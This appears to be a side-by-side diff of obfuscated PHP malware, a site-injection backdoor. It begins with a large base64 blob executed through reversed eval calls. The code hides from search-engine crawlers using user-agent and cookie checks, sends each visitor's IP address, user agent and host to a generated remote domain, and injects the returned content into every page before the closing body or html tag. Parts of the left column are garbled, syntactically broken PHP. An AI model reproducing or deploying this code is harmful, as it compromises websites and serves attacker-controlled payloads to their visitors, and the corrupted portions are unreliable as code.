JGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9"; |
| 107 | + | "MSNBot", |
| 108 | - | |
| 108 | + | "ia_archiver", |
| 109 | - | (gao[pxe);(chr(2687.5*0.016), 1); = |
| 109 | + | "Yandex", |
| 110 | - | $eva1tYXdakAcVSjr = (gao[pxe);(chr(2687.5*0.016), 1);[0.031*0.061]; |
| 110 | + | "Rambler" |
| 111 | - | $eva1tYidokBcVSjr = (gao[pxe);(chr(3625*0.016), ;))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@:eval("");:@(.+)@ie); |
| 111 | + | ); |
| 112 | - | (gao[pxe.gao[pxe;);($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],($eva1tYidokBcVSjr[0.061*0.031])); |
| 112 | + | $evalTtDntGsohDPt = $user_agents; // Original variable name |
| 113 | - | |
| 113 | + | |
| 114 | - | } |
| 114 | + | eval(base64_decode("ZnVuY3Rpb24gZXZhbFdFTUJJa3FZT0lJR2NMQm4oJHMpIHtyZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzKTt9"));
|
| 115 | - | } |
| 115 | + | $evalgKgHOXrDzX = get_domain(); // f528764d624db129b32c21fbca0cb8d6.com |
| 116 | - | return $url_contents; |
| 116 | + | |
| 117 | - | } |
| 117 | + | if((preg_match("/".implode("|", $user_agents)."/i", $_SEVER['HTTP_USER_AGENT'])) or( isset($_COOKIE['stats']))) {
|
| 118 | - | } |
| 118 | + | ; |
| 119 | } else { @setcookie('stats', md5('status')), time() + 10800);
| |
| 120 | ||
| 121 | - | //=============================== |
| 121 | + | // URL Like: |
| 122 | - | // decode formula with gzinflate #2 |
| 122 | + | $url_contents = evalWEMBIkqYOIIGcLBn("http://". get_domain() .'/Din.php?i='.$_SERVER['REMOTE_ADDR'].'&b='.urlencode($_SEVER['HTTP_USER_AGENT']).'&h='.urlencode($_SERVER['HTTP_HOST']));
|
| 123 | - | // =============================== |
| 123 | + | |
| 124 | if (strstr($url_contents, '!go!')) {
| |
| 125 | - | if(!function_exists("gzdecode")) |
| 125 | + | $url_contents = explode('!go!', $url_contents);
|
| 126 | - | {
|
| 126 | + | $url_contents = $url_contents[1]; |
| 127 | - | function gzdecode($input_string) |
| 127 | + | } |
| 128 | - | {
|
| 128 | + | } |
| 129 | - | if(@ord(@substr($input_string,3,1));&4) |
| 129 | + | |
| 130 | - | {
|
| 130 | + | $evalUdCXTDQERmWnDS = 18792; |
| 131 | - | 10+=2+@unpack('v',substr($input_string,10,2));; |
| 131 | + | } |
| 132 | - | } |
| 132 | + | |
| 133 | - | if(@ord(@substr($input_string,3,1));&8) |
| 133 | + | |
| 134 | - | {
|
| 134 | + | $eva1tYldakBcVSir = ""; |
| 135 | - | 10=@$strpos($input_string,chr(0),10)+1; |
| 135 | + | $eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir; |
| 136 | - | } |
| 136 | + | $eva1tYidokBoVSjr = $eva1tYlbakBcVSir; |
| 137 | - | if(@ord(@substr($input_string,3,1));&16) |
| 137 | + | $eva1tYldakBcVSir = "strecrptr"; |
| 138 | - | {
|
| 138 | + | $eva1tYlbakBcVSir = "gao[pxe"; |
| 139 | - | 10=@$strpos($input_string,chr(0),10)+1; |
| 139 | + | $eva1tYldakBoVS1r = "ecrp"; |
| 140 | - | } |
| 140 | + | $eva1tYldakBcVSir = ""; |
| 141 | - | if(@ord(@substr($input_string,3,1));&2) |
| 141 | + | $eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir; |
| 142 | - | {
|
| 142 | + | $eva1tYidokBoVSjr = $eva1tYlbakBcVSir; |
| 143 | - | 10+=2; |
| 143 | + | } |
| 144 | - | } |
| 144 | + | } |
| 145 | - | $output=@gzinflate(@substr($input_string,10)); |
| 145 | + | |
| 146 | - | if($output===FALSE) |
| 146 | + | return $url_contents; |
| 147 | - | {
|
| 147 | + | } |
| 148 | - | $output=$input_string; |
| 148 | + | } |
| 149 | - | } |
| 149 | + | |
| 150 | - | return $output; |
| 150 | + | if (!$function_exists("gzdecode")) {
|
| 151 | - | } |
| 151 | + | |
| 152 | - | } |
| 152 | + | function gzdecode($input_string) {
|
| 153 | ||
| 154 | - | //=============================== |
| 154 | + | // Original variable names |
| 155 | - | // INJECTIONS |
| 155 | + | $eva1fY2bal1cz8i4 = "strpos"; |
| 156 | - | // =============================== |
| 156 | + | $eva1fY2bol1cz8i5 = "substr"; |
| 157 | $eva1fY2bo11cz8i5 = "unpack"; | |
| 158 | - | function initial_entry($var6) |
| 158 | + | $eva1fY2bo1lcz8i5 = "chr"; |
| 159 | - | {
|
| 159 | + | $eva1fY2bo1lzc8i5 = "gzinflate"; |
| 160 | - | |
| 160 | + | |
| 161 | - | $Header(Content-Encoding: none"); |
| 161 | + | $eva1fY2bo01zo317 = @ord(@substr($input_string, 3, 1)); |
| 162 | - | $decoded=gzdecode($var6); // the main code... |
| 162 | + | |
| 163 | - | if($preg_match(/¥<¥/body/si,$decoded)) |
| 163 | + | $eva1fY2bo01c0317 = 10; |
| 164 | - | {
|
| 164 | + | if ($eva1fY2bo01zo317 & 4) {
|
| 165 | - | return $preg_replace("/(¥<¥/body[^¥>]*¥>)/si", $main_code().""."$1", $decoded,1); |
| 165 | + | $eva1fY2bo01z0317 = @unpack('v', substr($input_string, 10, 2));
|
| 166 | - | } |
| 166 | + | $eva1fY2bo01z0317 = $eva1fY2bo01z0317[1]; |
| 167 | - | else |
| 167 | + | $eva1fY2bo01c0317 += 2 + $eva1fY2bo01z0317; |
| 168 | - | {
|
| 168 | + | } |
| 169 | - | if($preg_match("/¥<¥/html/si",$decoded)) |
| 169 | + | if ($eva1fY2bo01zo317 & 8) {
|
| 170 | - | {
|
| 170 | + | $eva1fY2bo01c0317 = @strpos($input_string, chr(0), $eva1fY2bo01c0317) + 1; |
| 171 | - | return $preg_replace(/(¥<¥/html[^¥>]*¥>)/si, $main_code().""."$1", $decoded,1); |
| 171 | + | } |
| 172 | - | } |
| 172 | + | if ($eva1fY2bo01zo317 & 16) {
|
| 173 | - | else |
| 173 | + | $eva1fY2bo01c0317 = @strpos($input_string, chr(0), $eva1fY2bo01c0317) + 1; |
| 174 | - | {
|
| 174 | + | } |
| 175 | - | return $decoded; |
| 175 | + | if ($eva1fY2bo01zo317 & 2) {
|
| 176 | - | } |
| 176 | + | $eva1fY2bo01c0317 += 2; |
| 177 | - | } |
| 177 | + | } |
| 178 | - | } |
| 178 | + | $output = @gzinflate(@substr($input_string, $eva1fY2bo01c0317)); |
| 179 | - | ob_start("initial_entry"); |
| 179 | + | if ($output === FALSE) {
|
| 180 | - | } |
| 180 | + | $output = $input_string; |
| 181 | - | } |
| 181 | + | } |
| 182 | - | ?> |
| 182 | + | return $output; |
| 183 | } | |
| 184 | } | |
| 185 | ||
| 186 | function initial_entry($input_string) {
| |
| 187 | ||
| 188 | // Original variable names | |
| 189 | $eva1fY2b01lzc8l5 = "preg_replace"; | |
| 190 | $eva1fY2b0llzc8l5 = "preg_match"; | |
| 191 | $eva1fY2b022zc8l5 = "Header"; | |
| 192 | $eva1fY2b022zo8l5 = "gzdecode"; | |
| 193 | $eva1fY2b052zo8l5 = "Content-Encoding: none"; | |
| 194 | $eva1fY2b052zo8l1 = "/\<\/body/si"; | |
| 195 | $eva1fY2b062zo8l1 = "/(\<\/body[^\>]*\>)/si"; | |
| 196 | $eva1fY2b061zo8l1 = "/\<\/html/si"; | |
| 197 | $eva1fY2bo61zo8l1 = "/(\<\/html[^\>]*\>)/si"; | |
| 198 | ||
| 199 | header("Content-Encoding: none");
| |
| 200 | ||
| 201 | $decoded = gzdecode($input_string); | |
| 202 | ||
| 203 | if (preg_match("/\<\/body/si", $decoded)) {
| |
| 204 | return preg_replace("/(\<\/body[^\>]*\>)/si", main_code()."
| |
| 205 | "."$1", $decoded, 1); | |
| 206 | } else {
| |
| 207 | if (preg_match("/\<\/html/si", $decoded)) {
| |
| 208 | return preg_replace("/(\<\/html[^\>]*\>)/si", main_code()."
| |
| 209 | "."$1", $decoded, 1); | |
| 210 | } else {
| |
| 211 | return $decoded; | |
| 212 | } | |
| 213 | } | |
| 214 | } | |
| 215 | $eva1fY2bo61zo817 = "ob_start"; | |
| 216 | ||
| 217 | ob_start("initial_entry");
| |
| 218 | } | |
| 219 | } |